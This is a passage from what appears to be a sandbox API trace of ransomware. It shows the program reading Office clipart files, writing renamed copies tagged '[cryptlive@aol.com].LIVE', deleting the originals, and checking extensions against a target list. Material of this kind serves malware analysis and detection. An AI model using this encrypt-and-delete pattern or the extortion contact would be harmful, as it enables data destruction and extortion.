Office\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf")) returned 0x20 [0155.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0155.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0155.431] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0155.431] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0155.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0155.432] GetLastError () returned 0x0 [0155.432] ReadFile (in: hFile=0x1f8, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x2a64, lpOverlapped=0x0) returned 1 [0155.466] WriteFile (in: hFile=0x384, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x2a70, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x2a70, lpOverlapped=0x0) returned 1 [0155.467] ReadFile (in: hFile=0x1f8, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0155.467] WriteFile (in: hFile=0x384, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0155.467] SetEndOfFile (hFile=0x384) returned 1 [0155.467] CloseHandle (hObject=0x384) returned 1 [0155.467] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0155.468] SetEndOfFile (hFile=0x1f8) returned 1 [0155.470] CloseHandle (hObject=0x1f8) returned 1 [0155.470] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0155.470] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf")) returned 1 [0155.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0155.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0155.471] lstrlenW (lpString=".doc") returned 4 [0155.471] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.471] lstrlenW (lpString=".docx") returned 5 [0155.471] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0155.471] lstrlenW (lpString=".pdf") returned 4 [0155.471] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.471] lstrlenW (lpString=".xls") returned 4 [0155.472] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.472] lstrlenW (lpString=".xlsx") returned 5 [0155.472] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0155.472] lstrlenW (lpString=".ppt") returned 4 [0155.472] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0155.472] lstrlenW (lpString=".zip") returned 4 [0155.472] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.472] lstrlenW (lpString=".rar") returned 4 [0155.472] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.472] lstrlenW (lpString=".bz2") returned 4 [0155.472] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.472] lstrlenW (lpString=".7z") returned 3 [0155.472] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0155.472] lstrlenW (lpString=".dbf") returned 4 [0155.472] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0155.472] lstrlenW (lpString=".1cd") returned 4 [0155.472] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0155.472] lstrlenW (lpString=".jpg") returned 4 [0155.472] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0155.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0155.472] lstrlenW (lpString=".doc") returned 4 [0155.472] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.472] lstrlenW (lpString=".docx") returned 5 [0155.472] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0155.472] lstrlenW (lpString=".pdf") returned 4 [0155.472] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.472] lstrlenW (lpString=".xls") returned 4 [0155.472] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.472] lstrlenW (lpString=".xlsx") returned 5 [0155.472] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0155.472] lstrlenW (lpString=".ppt") returned 4 [0155.472] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0155.473] lstrlenW (lpString=".zip") returned 4 [0155.473] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.473] lstrlenW (lpString=".rar") returned 4 [0155.473] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.473] lstrlenW (lpString=".bz2") returned 4 [0155.473] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.473] lstrlenW (lpString=".7z") returned 3 [0155.473] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0155.473] lstrlenW (lpString=".dbf") returned 4 [0155.473] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0155.473] lstrlenW (lpString=".1cd") returned 4 [0155.473] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0155.473] lstrlenW (lpString=".jpg") returned 4 [0155.473] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.473] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0155.473] lstrlenW (lpString="J0107342.WMF") returned 12 [0155.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0155.480] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=4244) returned 1 [0155.480] CloseHandle (hObject=0x350) returned 1 [0155.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf")) returned 0x20 [0155.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0155.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0155.594] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0155.594] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0155.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0156.059] GetLastError () returned 0x0 [0156.059] ReadFile (in: hFile=0x350, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x1094, lpOverlapped=0x0) returned 1 [0156.061] WriteFile (in: hFile=0x314, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x10a0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x10a0, lpOverlapped=0x0) returned 1 [0156.062] ReadFile (in: hFile=0x350, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0156.062] WriteFile (in: hFile=0x314, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.062] SetEndOfFile (hFile=0x314) returned 1 [0156.062] CloseHandle (hObject=0x314) returned 1 [0156.062] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0156.062] SetEndOfFile (hFile=0x350) returned 1 [0156.064] CloseHandle (hObject=0x350) returned 1 [0156.065] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.065] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf")) returned 1 [0156.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0156.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0156.066] lstrlenW (lpString=".doc") returned 4 [0156.066] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.066] lstrlenW (lpString=".docx") returned 5 [0156.066] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0156.066] lstrlenW (lpString=".pdf") returned 4 [0156.066] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.066] lstrlenW (lpString=".xls") returned 4 [0156.066] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.066] lstrlenW (lpString=".xlsx") returned 5 [0156.066] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0156.066] lstrlenW (lpString=".ppt") returned 4 [0156.066] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0156.067] lstrlenW (lpString=".zip") returned 4 [0156.067] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.067] lstrlenW (lpString=".rar") returned 4 [0156.067] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.067] lstrlenW (lpString=".bz2") returned 4 [0156.067] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.067] lstrlenW (lpString=".7z") returned 3 [0156.067] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0156.067] lstrlenW (lpString=".dbf") returned 4 [0156.067] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0156.067] lstrlenW (lpString=".1cd") returned 4 [0156.067] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0156.067] lstrlenW (lpString=".jpg") returned 4 [0156.067] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0156.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0156.067] lstrlenW (lpString=".doc") returned 4 [0156.067] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.067] lstrlenW (lpString=".docx") returned 5 [0156.067] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0156.067] lstrlenW (lpString=".pdf") returned 4 [0156.067] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.067] lstrlenW (lpString=".xls") returned 4 [0156.067] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.067] lstrlenW (lpString=".xlsx") returned 5 [0156.067] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0156.068] lstrlenW (lpString=".ppt") returned 4 [0156.068] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0156.068] lstrlenW (lpString=".zip") returned 4 [0156.068] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.068] lstrlenW (lpString=".rar") returned 4 [0156.068] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.068] lstrlenW (lpString=".bz2") returned 4 [0156.068] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.068] lstrlenW (lpString=".7z") returned 3 [0156.068] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0156.068] lstrlenW (lpString=".dbf") returned 4 [0156.068] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0156.068] lstrlenW (lpString=".1cd") returned 4 [0156.068] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0156.068] lstrlenW (lpString=".jpg") returned 4 [0156.068] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.068] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0156.068] lstrlenW (lpString="J0107344.WMF") returned 12 [0156.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0156.069] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=5076) returned 1 [0156.069] CloseHandle (hObject=0x350) returned 1 [0156.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf")) returned 0x20 [0156.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0156.070] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0156.070] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0156.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0156.071] GetLastError () returned 0x0 [0156.071] ReadFile (in: hFile=0x350, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x13d4, lpOverlapped=0x0) returned 1 [0156.072] WriteFile (in: hFile=0x314, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x13e0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x13e0, lpOverlapped=0x0) returned 1 [0156.074] ReadFile (in: hFile=0x350, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0156.074] WriteFile (in: hFile=0x314, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.074] SetEndOfFile (hFile=0x314) returned 1 [0156.074] CloseHandle (hObject=0x314) returned 1 [0156.074] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0156.074] SetEndOfFile (hFile=0x350) returned 1 [0156.085] CloseHandle (hObject=0x350) returned 1 [0156.085] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.121] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf")) returned 1 [0156.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0156.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0156.141] lstrlenW (lpString=".doc") returned 4 [0156.141] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.141] lstrlenW (lpString=".docx") returned 5 [0156.141] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0156.141] lstrlenW (lpString=".pdf") returned 4 [0156.141] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.141] lstrlenW (lpString=".xls") returned 4 [0156.141] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.141] lstrlenW (lpString=".xlsx") returned 5 [0156.141] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0156.141] lstrlenW (lpString=".ppt") returned 4 [0156.141] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0156.141] lstrlenW (lpString=".zip") returned 4 [0156.141] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.141] lstrlenW (lpString=".rar") returned 4 [0156.141] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.141] lstrlenW (lpString=".bz2") returned 4 [0156.141] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.141] lstrlenW (lpString=".7z") returned 3 [0156.141] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0156.141] lstrlenW (lpString=".dbf") returned 4 [0156.141] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0156.142] lstrlenW (lpString=".1cd") returned 4 [0156.142] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0156.142] lstrlenW (lpString=".jpg") returned 4 [0156.142] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0156.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0156.142] lstrlenW (lpString=".doc") returned 4 [0156.142] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.142] lstrlenW (lpString=".docx") returned 5 [0156.142] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0156.142] lstrlenW (lpString=".pdf") returned 4 [0156.142] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.142] lstrlenW (lpString=".xls") returned 4 [0156.142] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.142] lstrlenW (lpString=".xlsx") returned 5 [0156.142] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0156.142] lstrlenW (lpString=".ppt") returned 4 [0156.142] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0156.142] lstrlenW (lpString=".zip") returned 4 [0156.142] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.142] lstrlenW (lpString=".rar") returned 4 [0156.142] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.142] lstrlenW (lpString=".bz2") returned 4 [0156.142] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.143] lstrlenW (lpString=".7z") returned 3 [0156.143] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0156.143] lstrlenW (lpString=".dbf") returned 4 [0156.143] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0156.143] lstrlenW (lpString=".1cd") returned 4 [0156.143] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0156.143] lstrlenW (lpString=".jpg") returned 4 [0156.143] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.143] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0156.143] lstrlenW (lpString="J0107358.WMF") returned 12 [0156.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0156.518] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=7964) returned 1 [0156.518] CloseHandle (hObject=0x3b4) returned 1 [0156.518] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf")) returned 0x20 [0156.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0156.606] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, 